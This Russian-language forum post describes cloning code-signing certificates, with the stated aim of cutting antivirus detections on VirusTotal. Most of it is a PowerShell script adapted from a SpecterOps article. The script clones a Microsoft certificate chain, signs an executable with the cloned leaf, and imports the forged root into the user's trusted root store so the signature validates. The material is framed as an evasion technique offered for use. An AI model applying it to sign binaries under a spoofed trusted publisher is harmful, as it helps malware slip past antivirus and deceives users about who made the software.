Jump to content

Клонирование Code Signing сертификата или как снизить детекты антивирусов за 60 секунд


_xvi

238 views

Подпись кода - это важный механизм обеспечения безопасности, который позволяет пользователям установить доверие к приложению, которое они собираются запустить. В целях обеспечения безопасности, разработчики должны использовать сертификаты подписи кода, чтобы подтвердить, что приложение является легальным и не было модифицировано злоумышленниками.

Как происходит клонирование сертификата подписи кода?

Для того чтобы понять, как работает данная атака, нужно понимать, как работает процесс подписи кода. При подписи кода, ключевая пара (открытый и закрытый ключ) используется для создания цифровой подписи, которая затем присоединяется к приложению. Когда пользователь запускает приложение, операционная система проверяет цифровую подпись, используя открытый ключ, чтобы убедиться в том, что приложение не было изменено после того, как его подписали.

Клонирование сертификата подписи кода происходит следующим образом. Мы просто экспортируем сертификат из чужого подписанного приложения и подписываем им свое приложение. Как минимум 50% антивирусов не проверяют сертификаты на валидность, а просто проверяют название, тем самым мы можем снизить количество детектов на VirusTotal.

Экспорт сертификата из чужого приложения:

Скрипт создает пример приложения(hello world),подписывает файл и добавляет сертификат в хранилище сертификатов- "Cert:\CurrentUser\Root", которое относится к текущему пользователю в операционной системе Windows. В этом хранилище хранятся корневые сертификаты доверия, выданные удостоверяющими центрами.

Скрипт подписи:


# We'll just store the cloned certificates in current user "Personal" store for now.
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }

$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer
$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation

$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer
$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation

$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer
$Cloned_MS_Leaf_Cert = New-SelfSignedCertificate -CloneCert $MS_Leaf_Cert -Signer $Cloned_MS_PCA_Cert @CertStoreLocation

# Create some sample code to practice signing on
Add-Type -TypeDefinition @'
public class Foo {
    public static void Main(string[] args) {
        System.Console.WriteLine("Hello, World!");
        System.Console.ReadKey();
    }
}
'@ -OutputAssembly C:\Test\HelloWorld.exe

# Validate that that HelloWorld.exe is not signed.
Get-AuthenticodeSignature -FilePath C:\Test\HelloWorld.exe

# Sign HelloWorld.exe with the cloned Microsoft leaf certificate.
Set-AuthenticodeSignature -Certificate $Cloned_MS_Leaf_Cert -FilePath C:\Test\HelloWorld.exe
# The certificate will not properly validate because the root certificate is not trusted.

# View the StatusMessage property to see the reason why Set-AuthenticodeSignature returned "UnknownError"
# "A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider"
Get-AuthenticodeSignature -FilePath C:\Test\HelloWorld.exe | Format-List *

# Save the root certificate to disk and import it into the current user root store.
# Upon doing this, the HelloWorld.exe signature will validate properly.
Export-Certificate -Type CERT -FilePath C:\Test\MSKernel32Root_Cloned.cer -Cert $Cloned_MS_Root_Cert
Import-Certificate -FilePath C:\Test\MSKernel32Root_Cloned.cer -CertStoreLocation Cert:\CurrentUser\Root\

# You may need to start a new PowerShell process for the valid signature to take effect.
Get-AuthenticodeSignature -FilePath C:\Test\HelloWorld.exe

Видео работы скрипта:

Источник: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec

0 Comments


Recommended Comments

There are no comments to display.

Guest
Add a comment...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...